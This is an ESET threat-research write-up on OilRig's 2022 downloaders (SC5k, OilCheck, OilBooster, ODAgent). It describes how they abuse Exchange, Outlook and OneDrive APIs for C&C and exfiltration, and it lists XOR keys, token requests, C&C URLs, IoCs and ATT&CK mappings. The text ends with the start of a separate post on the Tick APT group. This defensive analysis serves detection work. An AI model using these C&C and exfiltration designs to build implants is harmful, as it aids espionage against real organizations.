ODAgent, OilCheck and OilBooster share similar logic, and all use various cloud service providers for +their C&C communications, as do SC5k, Marlin, PowerExchange, and MrPerfectionManager. +While not unique to OilRig, these downloaders have a low level of sophistication and are often unnecessarily noisy on +the system, which is a practice we previously observed in its Out to Sea campaign. +Overview +In February 2022, we detected a new OilRig downloader, which we named ODAgent based on its filename: ODAgent.exe. ODAgent +is a C#/.NET downloader that, similar to OilRig +s Marlin backdoor, uses the Microsoft OneDrive API for C&C communications. Unlike +Marlin, which supports a comprehensive list of backdoor commands, ODAgent +s narrow capabilities are limited to downloading and +executing payloads, and to exfiltrating staged files. +ODAgent was detected in the network of a manufacturing company in Israel + interestingly, the same organization was previously +affected by OilRig +s SC5k downloader, and later by another new downloader, OilCheck, between April and June 2022. SC5k and +OilCheck have similar capabilities to ODAgent, but use cloud-based email services for their C&C communications. +Throughout 2022, we observed the same pattern being repeated on multiple occasions, with new downloaders being deployed in +the networks of previous OilRig targets: for example, between June and August 2022, we detected the OilBooster, SC5k v1, and +SC5k v2 downloaders and the Shark backdoor, all in the network of a local governmental organization in Israel. Later we detected +yet another SC5k version (v3), in the network of an Israeli healthcare organization, also a previous OilRig victim. +SC5k is a C#/.NET application whose purpose is to download and execute additional OilRig tools using the Office Exchange Web +Services (EWS) API. The new versions introduced changes to make retrieval and analysis of the malicious payloads harder for +analysts (SC5k v2), and new exfiltration functionality (SC5k v3). +All the downloaders, summarized in Figure 1, share a similar logic but have different implementations and show growing complexity +over time, alternating C#/.NET binaries with C/C++ applications, varying the cloud service providers misused for the C&C +communication, and other specifics. +Figure 1. Timeline of OilRig +s downloaders +OilRig has only used these downloaders against a limited number of targets, all located in Israel and, according to ESET telemetry, +all of them were persistently targeted months earlier by other OilRig tools. As it is common for organizations to access Office 365 +resources, OilRig +s cloud service-powered downloaders can thus blend more easily into the regular stream of network traffic +apparently also the reason why the attackers chose to deploy these downloaders to a small group of especially interesting, +repeatedly victimized targets. +As of this writing, the following (exclusively Israeli, as noted above) organizations were affected: +a manufacturing company (SC5k v1, ODAgent, and OilCheck), +a local governmental organization (SC5k v1, OilBooster, and SC5k v2), +a healthcare organization (SC5k v3), and +other unidentified organizations in Israel (SC5k v1). +2/16 +Unfortunately, we don +t have information about the initial attack vector used to compromise the targets discussed in this blogpost +we can +t confirm whether the attackers have been able to successfully compromise the same organizations repeatedly, or if they +somehow managed to keep their foothold in the network in between deploying various tools. +Technical analysis +In this section, we provide a technical analysis of OilRig +s downloaders used throughout 2022, with the details of how they abuse +various cloud storage services and cloud-based email providers for their C&C communications. All of these downloaders follow a +similar logic: +They use a shared (email or cloud storage) account to exchange messages with the OilRig operators; the same account can +be used against multiple victims. +They access this account to download commands and additional payloads staged by the operators, and to upload command +output and staged files. +In our analysis, we focus on these characteristics of the downloaders: +Specifics of the network communication protocol (e.g., Microsoft Graph API vs. Microsoft Office EWS API). +The mechanism used to distinguish between different attacker-staged and downloader-uploaded messages in the shared +account, including the mechanism to distinguish between messages uploaded from various victims. +Specifics of how the downloaders process commands and payloads are downloaded from the shared account. +Table 1 summarizes and compares how the individual downloaders implement these characteristics; we then analyze the first +(SC5k) and the most complex (OilBooster) downloaders in detail as examples of tools abusing cloud-based email services and +cloud storage services, respectively. +Table 1. A summary of main characteristics of OilRig +s downloaders abusing legitimate cloud service providers +Mechanism +SC5k v1 +SC5k v2 +SC5k v3 +OilCheck +OilBooster +ODAgent +protocol +A shared Microsoft Exchange email account, C&C communication +embedded in draft messages. +A shared OneDrive account; files with +various extensions to distinguish action +types. +Network +communica +tions +Microsoft Office EWS API +Microsoft +Graph +(Outlook) +Microsoft Graph (OneDrive) API. +Victim +identification +mechanism +The sg +extended +property of +the email +draft is set +. +unknown +extended +email +property is +set to +. +From field has the +username portion of the +email address set to +. +The zigorat +extended +property of +the email +draft is set +. +All communication for, and from, the +specific victim is uploaded to a victimspecific subdirectory named . +Keep-alive +message +The type +extended +property of +the email +draft is set +to 3; the +current +GMT time +is in the +email body. +unknown +extended +property of +the email +draft is set +to 0; the +email body +is empty. +The From field of the +email draft is set to +@yahoo.com; +the current GMT time is +in the email body. +The type +extended +property of +the email +draft is set +to 3; the +current +GMT time +is in the +email body. +A file named +/setting.ini. +A file named +/info.ini. +3/16 +Mechanism +SC5k v1 +SC5k v2 +SC5k v3 +OilCheck +OilBooster +ODAgent +File for +download +The type +extended +property of +the email +draft is set +to 1; the +attached +file has any +extension +other than +.json. +unknown +extended +property of +the email +draft is set +to 1; the +attached file +has any +extension +other than +.bin. +The From field of the +email draft is set to +@outlook.com, +with the message +category set to file. +The type +extended +property of +the email +draft is set +to 1; the +attached +file has a +.biz +extension. +A file with a .docx +extension in the +/items +subdirectory. +A non-JSON file +in the +/o +subdirectory. +Exfiltrated +file +The type +extended +property of +the email +draft is set +to 2; the +attached +file has the +.tmp1 +extension. +unknown +extended +property of +the email +draft is set +to 2; the +attached file +has a .tmp +extension. +The From field of the +email draft is set to +@aol.com, +with the file category. +The type +extended +property of +the email +draft is set +to 2; the +attached +file has a +.biz +extension. +A file with a .xlsx +extension in the +/items +subdirectory. +A non-JSON file +in the /i +subdirectory. +Command +execution +The type +extended +property of +the email +draft is set +to 1; the +attached +file has a +.json +extension. +unknown +extended +property of +the email +draft is set +to 1; the +attached file +has a .bin +extension. +The From field of the +email draft is set to +@outlook.com, +without the file category. +The type +extended +property of +the email +draft is set +to 1; the +attached +file has any +extension +other than +.biz. +A file with a .doc +extension in the +/items +subdirectory. +A JSON file in the +/o +subdirectory. +Command +output +The type +extended +property of +the email +draft is set +to 2; the +attached +file has a +.json +extension. +unknown +extended +property of +the email +draft is set +to 2; the +attached file +has a .bin +extension. +The From field of the +email draft is set to +@aol.com, +with the text category. +The type +extended +property of +the email +draft is set +to 2. +A file with a .xls +extension in the +/items +subdirectory. +A JSON file in the +/i +subdirectory. +SC5k downloader +The SampleCheck5000 (or SC5k) downloader is a C#/.NET application, and the first in a series of OilRig +s lightweight downloaders +that use legitimate cloud services for their C&C communication. We briefly documented the first variant in our recent blogpost, and +have since discovered two newer variants. +All SC5k variants use the Microsoft Office EWS API to interact with a shared Exchange mail account, as a way to download +additional payloads and commands, and to upload data. Email drafts and their attachments are the primary vehicle for the C&C +traffic in all the versions of this downloader, but the later versions increase the complexity of this C&C protocol (SC5k v3) and add +detection evasion capabilities (SC5k v2). This section focuses on highlighting these differences. +Exchange account used for C&C communication +At runtime, SC5k connects to a remote Exchange server via the EWS API to obtain additional payloads and commands to execute +from an email account shared with the attacker (and usually other victims). By default, a Microsoft Office 365 Outlook account is +accessed via the https://outlook.office365.com/EWS/Exchange.asmx URL using hardcoded credentials, but some SC5k versions +4/16 +also have the capability to connect to other remote Exchange servers when a configuration file is present with a hardcoded name +(setting.key, set.idl) and the corresponding credentials inside. +We have seen the following email addresses used by SC5k versions for C&C communication, the first of which gave the downloader +its name: +samplecheck5000@outlook.com +FrancesLPierce@outlook.com +SandraRCharles@outlook.com +In SC5k v2, the default Microsoft Exchange URL, email address, and password are not included in the main module + instead, the +downloader +s code has been split into multiple modules. We have detected only variations of the main application, which logs into a +remote Exchange server, iterates through emails in the Drafts directory, and extracts additional payloads from their attachments. +However, this application depends on two external classes that were not present in the detected samples and are probably +implemented in the missing module(s): +The class init should provide an interface to obtain the email address, username, and password required to log into the remote +Exchange account, and other configuration values from the other module. +The class structure should implement functions used for encryption, compression, executing downloaded payloads, and other +helper functions. +These changes were likely introduced to make retrieval and analysis of the malicious payloads harder for analysts, as the two +missing classes are crucial for identifying the Exchange account used for malware distribution. +C&C and exfiltration protocol +In all versions, the SC5k downloader repeatedly logs into a remote Exchange server using the ExchangeService .NET class in the +Microsoft.Exchange.WebServices.Data namespace to interact with the EWS API. Once connected, SC5k reads email messages +with attachments in the Drafts directory to extract attacker commands and additional payloads. Conversely, in each connection, +SC5k exfiltrates files from a local staging directory by creating new email drafts in the same email account. The path to the staging +directory varies across samples. +Of interest is the way both the operators and various instances of this downloader can distinguish between the different types of +drafts in the shared email account. For one, each email draft has a incorporated, which allows the same Exchange +account to be used for multiple OilRig victims: +For v1 and v2, the downloader transmits the as a custom attribute of the email draft via the SetExtendedProperty +method. +For v3, the downloader incorporates the into the From field of the email draft. +The is typically generated using the compromised system +s information, such as the system volume ID or the computer +name, as shown in Figure 2. +Figure 2. SC5k v3 calculates a from the compromised computer +s name +Furthermore, various email properties can be used to distinguish between messages created by the operators (commands, +additional payloads) and messages created by the malware instances (command outputs, exfiltrated files). SC5k v1 and v2 use file +extensions (of the draft attachments) to make that distinction, while SC5k v3 uses the From and MailItem.Categories fields of the +email draft to distinguish between various actions. At each point, the email drafts in the shared email account can serve various +purposes, as summarized in Table 2 and explained below. Note that the email addresses used in the From field are not genuine; +because SC5k never sends out any actual email messages, these attributes are only used to distinguish between different malicious +actions. +Table 2. Types of email messages used by SC5k v3 for C&C communications +From +MailItem.Categories +Created by +Details +@yahoo.com +SC5k v3 +instance +Created to register the victim with the C&C server, and renewed +periodically to indicate that the malware is still active. +5/16 +From +MailItem.Categories +Created by +Details +@outlook.com +file +C&C server +Attached file is decrypted, decompressed, and dumped on the +victim +s computer. +@outlook.com +Other than file +C&C server +Attached command is decrypted, decompressed, then passed +as an argument to a file already present on the compromised +machine, presumably a command interpreter. +@aol.com +file +SC5k v3 +instance +Created to exfiltrate a file from a staging directory. +@aol.com +text +SC5k v3 +instance +Created to send command output to the C&C server. +More specifically, SC5k v3 processes (and then deletes) those email messages from the shared Exchange account that have the +From field set to @outlook.com, and distinguishes between commands and additional payloads by the message category +(MailItem.Categories): +For payloads, the attached file is XOR decrypted using the hardcoded key &5z, then gzip decompressed and dumped in the +working directory. +For shell commands, the draft attachment is base64 decoded, XOR decrypted, and then executed locally using cmd.exe or, in +the case of SC5k v3, using a custom command interpreter located under the name \*Ext.dll. This file is then +loaded via Assembly.LoadFrom, and its extend method invoked with the command passed as an argument. +To communicate with the attackers, SC5k v3 creates draft messages with a different From field: @aol.com. Attached to +these messages are outputs of previously received commands, or contents of the local staging directory. Files are always gzip +compressed and XOR encrypted before being uploaded to the shared mailbox, while shell commands and command outputs are +XOR encrypted and base64 encoded. +Finally, SC5k v3 repeatedly creates a new draft on the shared Exchange account with the From field set to @yahoo.com, +to indicate to the attackers that this downloader instance is still active. This keep-alive message, whose construction is shown in +Figure 3, has no attachment and is renewed with each connection to the remote Exchange server. +Figure 3. Keep-alive functionality implemented by the SC5k v3 downloader +Other OilRig tools using email-based C&C protocol +Besides SC5k, other notable OilRig tools have been discovered subsequently (in 2022 and 2023) that abuse APIs of legitimate +cloud-based email services for exfiltration and both directions of their C&C communication. +OilCheck, a C#/.NET downloader discovered in April 2022, also uses draft messages created in a shared email account for both +directions of the C&C communication. Unlike SC5k, OilCheck uses the REST-based Microsoft Graph API to access a shared +Microsoft Office 365 Outlook email account, not the SOAP-based Microsoft Office EWS API. While SC5k uses the built-in +ExchangeService .NET class to create the API requests transparently, OilCheck builds the API requests manually. The main +characteristics of OilCheck are summarized in Table 1 above. +Earlier in 2023, two other OilRig backdoors were publicly documented: MrPerfectionManager (Trend Micro, February 2023) and +PowerExchange (Symantec, October 2023), both using email-based C&C protocols to exfiltrate data. A notable difference between +these tools and OilRig +s downloaders studied in this blogpost is that the former use the victimized organization +s Exchange server to +transmit email messages from and to the attacker +s email account. In contrast: with SC5k and OilCheck, both the malware and the +operator accessed the same Exchange account and communicated by creating email drafts, never sending an actual message. +6/16 +In any case, the new findings confirm the trend of OilRig shifting away from the previously used HTTP/DNS-based protocols to using +legitimate cloud service providers as a way to hide its malicious communication and to mask the group +s network infrastructure, +while still experimenting with various flavors of such alternative protocols. +OilBooster downloader +OilBooster is a 64-bit portable executable (PE) written in Microsoft Visual C/C++ with statically linked OpenSSL and Boost libraries +(hence the name). Like OilCheck, it uses the Microsoft Graph API to connect to a Microsoft Office 365 account. Unlike OilCheck, it +uses this API to interact with a OneDrive (not Outlook) account controlled by the attackers for C&C communication and exfiltration. +OilBooster can download files from the remote server, execute files and shell commands, and exfiltrate the results. +Overview +Upon execution, OilBooster hides its console window (via the ShowWindow API) and verifies that it was executed with a command +line argument; otherwise it terminates immediately. +OilBooster then builds a by combining the compromised computer +s hostname and username: . This identifier is later used in the C&C communication: OilBooster creates a specific subdirectory on the shared +OneDrive account for each victim, which is then used to store backdoor commands and additional payloads (uploaded by the +operators), command results, and exfiltrated data (uploaded by the malware). This way, the same OneDrive account can be shared +by multiple victims. +Figure 4 shows the structure of the shared OneDrive account and the local working directory, and summarizes the C&C protocol. +Figure 4. Overview of OilBooster +s C&C communication protocol using a shared OneDrive account +As shown in Figure 4, the OilRig operator uploads backdoor commands and additional payloads to the victim-specific directory on +OneDrive, as files with the .doc and .docx extensions, respectively. On the other end of the C&C protocol, OilBooster uploads +command results and exfiltrated data as files with the .xls and .xlsx extensions, respectively. Note that these are not genuine +Microsoft Office files, but rather JSON files with XOR-encrypted and base64-encoded values. +Figure 5 shows OilBooster spawning instances of two threads in an indefinite loop, sleeping for 153,123 milliseconds after each +iteration: +7/16 +Figure 5. OilBooster +s main function +Both threads interact with the shared OneDrive account: +1. A downloader thread handles C&C communication and executes downloaded payloads. +2. An exfiltration thread exfiltrates data from the local staging directory. +The downloader thread connects to the attacker-controlled OneDrive account and iterates through all files with the .doc and .docx +extensions, which are then downloaded, decrypted, and parsed in order to extract and execute additional payloads on the +compromised host. A local subdirectory named items in the current working directory (where OilBooster is deployed) is used to store +the downloaded files. As shown in Figure 6, each connection attempt is handled in a separate thread instance, launched once every +53,123 milliseconds. +The exfiltration thread iterates over another local subdirectory, named tempFiles, and exfiltrates its contents to the shared OneDrive +account, which are uploaded there as individual files with the .xlsx extension. The staging directory is cleared this way once every +43,123 milliseconds in a separate thread instance, as also seen in Figure 6. +Figure 6. Each iteration of the downloader and exfiltration loops is spawned in a new thread +Network communication +For C&C communication and exfiltration, OilBooster uses the Microsoft Graph API to access the shared OneDrive account, using a +variety of HTTP GET, POST, PUT, and DELETE requests to the graph.microsoft.com host over the standard 443 port. For brevity, +we will also refer to these requests as OneDrive API requests. The encrypted communication is facilitated by the statically linked +8/16 +OpenSSL library, which handles the SSL communication. +To authenticate with the OneDrive account, OilBooster first obtains the OAuth2 access token from the Microsoft identity platform (the +authorization server) by sending a POST request with the following body over port 443 to +login.microsoftonline.com/common/oauth2/v2.0/token, using hardcoded credentials: +client_id=860b23a7-d484-481d-9fea-d3e6e129e249 +&redirect_uri=https://login.live.com/oauth20_desktop.srf +&client_secret= +&refresh_token= +&grant_type=refresh_token +OilBooster obtains a new access token this way, which will be used in the Authorization header of the subsequent OneDrive API +requests, along with a new refresh token. OilBooster also has a backup channel to request a new refresh token from its C&C server +after 10 consecutive unsuccessful connections to the OneDrive server. As shown in Figure 7, the new token can be acquired by +sending a simple HTTP GET request on port 80 to host1[.]com/rt.ovf (a legitimate, likely compromised website), which should be +followed by the new refresh token in cleartext in the HTTP response. +Figure 7. OilBooster can request a new refresh token from its fallback C&C server after 10 unsuccessful +connection attempts to the abused OneDrive account +The various network connections made by OilBooster are summarized in Figure 8. +Figure 8. Overview of OilBooster +s network communications +Downloader loop +9/16 +In the downloader loop, OilBooster repeatedly connects to the shared OneDrive account to obtain a list of files with the .docx and +.doc extensions in the victim-specific subdirectory named /items/ by sending an HTTP GET request over port 443 to this +URL: +graph.microsoft.com/v1.0/me/drive/root://items:/children? +$filter=endsWith(name,'.doc')%20or%20endsWith(name,'.docx')&$select=id,name,file +If the connection is not successful (the HTTP_STATUS_DENIED response status) after 10 attempts, OilBooster connects to its +fallback C&C server, host1[.]com/rt.ovf, to acquire a new refresh token, as discussed earlier. +Alternatively, if the specified directory does not yet exist (HTTP_STATUS_NOT_FOUND), OilBooster first registers the victim on the +shared OneDrive account by sending an HTTP POST request over port 443 to this URL: +graph.microsoft.com/v1.0/me/drive/items/root:/:/children with the JSON string {"name": "items","folder":{}} as the request +body, as shown in Figure 9. This request creates the whole directory structure /items at the same time, which will later be +used by the attackers to store commands and additional payloads disguised as .doc and .docx files. +Figure 9. On first connection, OilBooster creates a victim-specific directory on the shared OneDrive account +On subsequent connections (with HTTP_STATUS_OK), OilBooster processes these files to extract and execute payloads. +OilBooster first downloads each file from the OneDrive account and deletes it from OneDrive after processing the file. +Finally, after going through all the .doc and .docx files downloaded from the OneDrive subdirectory, OilBooster records the last +connection timestamp (the current GMT time) by creating a new file named setting.ini in the victim +s OneDrive subdirectory, via an +HTTP PUT request on port 443 made to this URL: graph.microsoft.com/v1.0/me/drive/root://setting.ini:/content. +Processing .doc files +Files with the .doc extension downloaded from the shared OneDrive account are in fact JSON files with encrypted commands to be +executed on the compromised host. Once a .doc is downloaded, OilBooster parses the values named s (part of the +decryption key) and c (encrypted command) from the file content. It first base64 decodes, then XOR decrypts the c value, using a +key that is created by appending the last two characters of the s value to the last two characters of . +After decryption, OilBooster executes the command line in a new thread using the CreateProcessW API, and reads the command +result via an unnamed pipe connected to the process. OilBooster then uploads the command result to the shared OneDrive account +as a new file named .xls by sending an HTTP PUT request over port 443 to +graph.microsoft.com/v1.0/me/drive/root://items/.xls:/content. +Processing .docx files +10/16 +Files with the .docx extension downloaded from the shared OneDrive account are in fact compressed and encrypted files named +..docx that will be dropped and unpacked on the compromised system. OilBooster first downloads +the encrypted file to the local directory named \items, using the original full filename. +In the next step, it reads and decrypts the file content using an XOR cipher with . as the decryption key, and +drops it in the same directory into a file named ..doc, while the first one is deleted. Finally, OilBooster +reads and gzip decompresses the decrypted file, drops the result in the same directory as a file named ., and deletes the other one. +Note the unnecessary creation of several files in the process + this is typical for OilRig. We previously described the group +s noisy +operations on compromised hosts in its Out to Sea campaign. +Exfiltration loop +In the exfiltration thread, OilBooster loops over the contents of the local directory named \tempFiles, and uploads the file +contents to the victim +s folder on the shared OneDrive account. Each file is processed in this way: +OilBooster gzip compresses the original file . and writes the result to a file named . +.xlsx in the same directory. +It then encrypts the compressed file using an XOR cipher and . as the key. If there is no file extension, 4cx +is used as the default key. +Finally, the encrypted file is uploaded to the OneDrive account, and the local file is deleted. +ODAgent downloader: OilBooster +s precursor +ODAgent is a C#/.NET application that uses the Microsoft Graph API to access an attacker-controlled OneDrive account for C&C +communication and exfiltration + in short, ODAgent is loosely a C#/.NET precursor of OilBooster. Similar to OilBooster, ODAgent +repeatedly connects to the shared OneDrive account and lists the contents of the victim-specific folder to obtain additional payloads +and backdoor commands. +As shown in Figure 10, ODAgent then parses the metadata for each remote file. Subsequently, it uses the value of the mimeType +key associated with the file to distinguish between backdoor commands (formatted as JSON files) and encrypted payloads + this is +unlike OilBooster, which uses file extensions for that distinction. After processing a file locally, ODAgent deletes the original from the +remote OneDrive directory via the OneDrive API. +11/16 +Figure 10. ODAgent +s code responsible for parsing JSON files obtained from the shared OneDrive account +If the downloaded file is a JSON file, ODAgent parses the a1 (command ID), a2 (encrypted backdoor command) and a3 (secret) +arguments. It first derives the session key by XORing the provided secret with the hardcoded value 15a49w@]. Then, it base64 +decodes and XOR decrypts the backdoor command using this session key. Table 3 lists all backdoor commands supported by +ODAgent. +Table 3. Backdoor commands supported by ODAgent +Backdoor command +Description +odt> +Returns the path to the current working directory. +dly> +Configures the number of seconds to wait after each connection to . + +Executes the specified via the native API and returns the command output. +Other (non-JSON) files downloaded from the shared OneDrive account are files and additional payloads, both encrypted. ODAgent +XOR decrypts these files with the hardcoded key 15a49w@], and drops them in the local \o directory under the same +filename. If the original file has a .c extension, its content is also gzip decompressed (and the extension is then dropped from the +filename). +At the end of each connection, ODAgent uploads the contents of the local directory \i to the /i directory on the +shared OneDrive account, preserving the original filenames with the added .c extension. +12/16 +Figure 11. ODAgent +s exfiltration loop +Conclusion +Throughout 2022, OilRig developed a series of new downloaders, all using a variety of legitimate cloud storage and cloud-based +email services as their C&C and exfiltration channels. These downloaders were deployed exclusively against targets in Israel + often +against the same targets within a few months. As all of these targets were previously affected by other OilRig tools, we conclude +that OilRig uses this class of lightweight but effective downloaders as its tool of choice to maintain access to networks of interest. +These downloaders share similarities with MrPerfectionManager and PowerExchange backdoors, other recent additions to OilRig +toolset that use email-based C&C protocols + except that SC5k, OilBooster, ODAgent, and OilCheck use attacker-controlled cloud +service accounts, rather than the victim +s internal infrastructure. All these activities confirm an ongoing switch to legitimate cloud +service providers for C&C communication, as a way to hide the malicious communication and mask the group +s network +infrastructure. +On par with the rest of OilRig +s toolset, these downloaders are not particularly sophisticated, and are, again, unnecessarily noisy on +the system. However, the continuous development and testing of new variants, the experimenting with various cloud services and +different programming languages, and the dedication to re-compromise the same targets over and over again, makes OilRig a group +to watch out for. +For any inquiries about our research published on WeLiveSecurity, please contact us at threatintel@eset.com. +ESET Research offers private APT intelligence reports and data feeds. For any inquiries about this service, visit the ESET +Threat Intelligence page. +IoCs +Files +SHA-1 +Filename +Detection +Description +0F164894DC7D8256B66D0EBAA7AFEDCF5462F881 +CCLibrary.exe +MSIL/OilRig.A +OilRig downloader - SC5k v1. +2236D4DCF68C65A822FF0A2AD48D4DF99761AD07 +acrotray.exe +MSIL/OilRig.D +OilRig downloader - SC5k v1. +35E0E78EC35B68D3EE1805EECEEA352C5FE62EB6 +mscom.exe +MSIL/OilRig.D +OilRig downloader - SC5k v1. +51B6EC5DE852025F63740826B8EDF1C8D22F9261 +CCLibrary.exe +MSIL/OilRig.A +OilRig downloader - SC5k v1. +6001A008A3D3A0C672E80960387F4B10C0A7BD9B +acrotray.exe +MSIL/OilRig.D +OilRig downloader - SC5k v1. +7AD4DCDA1C65ACCC9EF1E168162DE7559D2FDF60 +AdobeCE.exe +MSIL/OilRig.D +OilRig downloader - SC5k v1. +BA439D2FC3298675F197C8B17B79F34485271498 +AGSService.exe +MSIL/OilRig.D +OilRig downloader - SC5k v1. +BE9B6ACA8A175DF61F2C75932E029F19789FD7E3 +CCXProcess.exe +MSIL/OilRig.A +OilRig downloader - SC5k v1. +C04F874430C261AABD413F27953D30303C382953 +AdobeCE.exe +MSIL/OilRig.A +OilRig downloader - SC5k v1. +13/16 +SHA-1 +Filename +Detection +Description +C225E0B256EDB9A2EA919BACC62F29319DE6CB11 +mscom.exe +MSIL/OilRig.A +OilRig downloader - SC5k v1. +E78830384FF14A58DF36303602BC9A2C0334A2A4 +armsvc.exe +MSIL/OilRig.D +OilRig downloader - SC5k v1. +EA8C3E9F418DCF92412EB01FCDCDC81FDD591BF1 +node.exe +MSIL/OilRig.D +OilRig downloader - SC5k v1. +1B2FEDD5F2A37A0152231AE4099A13C8D4B73C9E +consoleapp.exe +Win64/OilBooster.A +OilRig downloader - OilBooster. +3BF19AE7FB24FCE2509623E7E0D03B5A872456D4 +owa.service.exe +MSIL/OilRig.D +OilRig downloader - SC5k v2. +AEF3140CD0EE6F49BFCC41F086B7051908B91BDD +owa.service.exe +MSIL/OilRig.D +OilRig downloader - SC5k v2. +A56622A6EF926568D0BDD56FEDBFF14BD218AD37 +owa.service.exe +MSIL/OilRig.D +OilRig downloader - SC5k v2. +AAE958960657C52B848A7377B170886A34F4AE99 +LinkSync.exe +MSIL/OilRig.F +OilRig downloader - SC5k v3. +8D84D32DF5768B0D4D2AB8B1327C43F17F182001 +AppLoader.exe +MSIL/OilRig.M +OilRig downloader - OilCheck. +DDF0B7B509B240AAB6D4AB096284A21D9A3CB910 +CheckUpdate.exe +MSIL/OilRig.M +OilRig downloader - OilCheck. +7E498B3366F54E936CB0AF767BFC3D1F92D80687 +ODAgent.exe +MSIL/OilRig.B +OilRig downloader - ODAgent. +A97F4B4519947785F66285B546E13E52661A6E6F +MSIL/OilRig.N +Help utility used by OilRig's +OilCheck downloader - CmEx. +Network +Domain +Hosting +provider +First +seen +Details +188.114.96[.]2 +host1[.]com +Cloudflare, +Inc. +2017-1130 +A legitimate, likely compromised website misused by OilRig as a +fallback C&C server. +MITRE ATT&CK techniques +This table was built using version 14 of the MITRE ATT&CK framework. +Tactic +Name +Description +Resource +Development +T1583.001 +Acquire Infrastructure: +Domains +OilRig has registered a domain for use in C&C communications. +T1583.004 +Acquire Infrastructure: +Server +OilRig has acquired a server to be used as a backup channel for the +OilBooster downloader. +T1583.006 +Acquire Infrastructure: +Web Services +OilRig has set up Microsoft Office 365 OneDrive and Outlook accounts, +and possibly other Exchange accounts for use in C&C communications. +T1587.001 +Develop Capabilities: +Malware +OilRig has developed a variety of custom downloaders for use in its +operations: SC5k versions, OilCheck, ODAgent, and OilBooster. +14/16 +Tactic +Execution +Defense +Evasion +Discovery +Collection +Command +and Control +Name +Description +T1585.003 +Establish Accounts: +Cloud Accounts +OilRig operators have created new OneDrive accounts for use in their C&C +communications. +T1585.002 +Establish Accounts: +Email Accounts +OilRig operators have registered new Outlook, and possibly other, email +addresses for use in their C&C communications. +T1608 +Stage Capabilities +OilRig operators have staged malicious components and backdoor +commands in legitimate Microsoft Office 365 OneDrive and Outlook, and +other Microsoft Exchange accounts. +T1059.003 +Command and +Scripting Interpreter: +Windows Command +Shell +SC5k v1 and v2 use cmd.exe to execute commands on the compromised +host. +T1106 +Native API +OilBooster uses the CreateProcessW API functions for execution. +T1140 +Deobfuscate/Decode +Files or Information +OilRig +s downloaders use string stacking to obfuscate embedded strings, +and the XOR cipher to encrypt backdoor commands and payloads. +T1480 +Execution Guardrails +OilRig +s OilBooster requires an arbitrary command line argument to +execute the malicious payload. +T1564.003 +Hide Artifacts: Hidden +Window +Upon execution, OilBooster hides its console window. +T1070.004 +Indicator Removal: +File Deletion +OilRig +s downloaders delete local files after a successful exfiltration, and +delete files or email drafts from the remote cloud service account after +these have been processed on the compromised system. +T1202 +Indirect Command +Execution +SC5k v3 and OilCheck use custom command interpreters to execute files +and commands on the compromised system. +T1036.005 +Masquerading: Match +Legitimate Name or +Location +OilBooster mimics legitimate paths. +T1027 +Obfuscated Files or +Information +OilRig has used various methods to obfuscate strings and payloads +embedded in its downloaders. +T1082 +System Information +Discovery +OilRig +s downloaders obtain the compromised computer name. +T1033 +System Owner/User +Discovery +OilRig +s downloaders obtain the victim +s username. +T1560.003 +Archive Collected +Data: Archive via +Custom Method +OilRig +s downloaders gzip compress data before exfiltration. +T1074.001 +Data Staged: Local +Data Staging +OilRig +s downloaders create central staging directories for use by other +OilRig tools and commands. +T1132.001 +Data Encoding: +Standard Encoding +OilRig +s downloaders base64 decode data before sending it to the C&C +server. +15/16 +Tactic +Exfiltration +Name +Description +T1573.001 +Encrypted Channel: +Symmetric +Cryptography +OilRig +s downloaders use the XOR cipher to encrypt data in C&C +communication. +T1008 +Fallback Channels +OilBooster can use a secondary channel to obtain a new refresh token to +access the shared OneDrive account. +T1105 +Ingress Tool Transfer +OilRig +s downloaders have the capability to download additional files from +the C&C server for local execution. +T1102.002 +Web Service: +Bidirectional +Communication +OilRig +s downloaders use legitimate cloud service providers for C&C +communication. +T1020 +Automated Exfiltration +OilRig +s downloaders automatically exfiltrate staged files to the C&C +server. +T1041 +Exfiltration Over C2 +Channel +OilRig +s downloaders use their C&C channels for exfiltration. +T1567.002 +Exfiltration Over Web +Service: Exfiltration to +Cloud Storage +OilBooster and ODAgent exfiltrate data to shared OneDrive accounts. +T1567 +Exfiltration Over Web +Service +SC5k and OilCheck exfiltrate data to shared Exchange and Outlook +accounts. +16/16 +The slow Tick +ing time bomb: Tick APT group compromise of a DLP software developer +in East Asia +welivesecurity.com/2023/03/14/slow-ticking-time-bomb-tick-apt-group-dlp-software-developer-east-asia +March 14, 2023 +ESET Research uncovered a campaign by APT group Tick against a data-loss prevention company in East Asia and found a previously +unreported tool used by the group +Facundo Mu +14 Mar 2023 - 11:30AM +ESET researchers discovered a campaign that we attribute with high confidence to the APT group Tick. The incident took place in the network +of an East Asian company that develops data-loss prevention (DLP) software. +The attackers compromised the DLP company +s internal update servers to deliver malware inside the software developer +s network, and +trojanized installers of legitimate tools used by the company, which eventually resulted in the execution of malware on the computers of the +company +s customers. +In this blogpost, we provide technical details about the malware detected in the networks of the compromised company and of its customers. +During the intrusion, the attackers deployed a previously undocumented downloader named ShadowPy, and they also deployed the Netboy +backdoor (aka Invader) and Ghostdown downloader. +Based on Tick +s profile, and the compromised company +s high-value customer portfolio, the objective of the attack was most likely +cyberespionage. How the data-loss prevention company was initially compromised is unknown. +Key points in this blogpost: +ESET researchers uncovered an attack occurring in the network of an East Asian data-loss prevention company with a customer +portfolio that includes government and military entities. +ESET researchers attribute this attack with high confidence to the Tick APT group. +The attackers deployed at least three malware families and compromised update servers and tools used by the company. As a result, two +of their customers were compromised. +The investigation revealed a previously undocumented downloader named ShadowPy. +Tick overview +Tick (also known as BRONZE BUTLER or REDBALDKNIGHT) is an APT group, suspected of being active since at least 2006, targeting +mainly countries in the APAC region. This group is of interest for its cyberespionage operations, which focus on stealing classified information +and intellectual property. +Tick employs an exclusive custom malware toolset designed for persistent access to compromised machines, reconnaissance, data exfiltration, +and download of tools. Our latest report into Tick +s activity found it exploiting the ProxyLogon vulnerability to compromise a South Korean IT +company, as one of the groups with access to that remote code execution exploit before the vulnerability was publicly disclosed. While still a +zero-day, the group used the exploit to install a webshell to deploy a backdoor on a webserver. +Attack overview +In March 2021, through unknown means, attackers gained access to the network of an East Asian software developer company. +The attackers deployed persistent malware and replaced installers of a legitimate application known as Q-dir with trojanized copies that, +when executed, dropped an open-source VBScript backdoor named ReVBShell, as well as a copy of the legitimate Q-Dir application. This led +to the execution of malicious code in networks of two of the compromised company +s customers when the trojanized installers were +transferred via remote support software + our hypothesis is that this occurred while the DLP company provided technical support to their +customers. +The attackers also compromised update servers, which delivered malicious updates on two occasions to machines inside the network of the +DLP company. Using ESET telemetry, we didn +t detect any other cases of malicious updates outside the DLP company +s network. +The customer portfolio of the DLP company includes government and military entities, making the compromised company an especially +attractive target for an APT group such as Tick. +Timeline 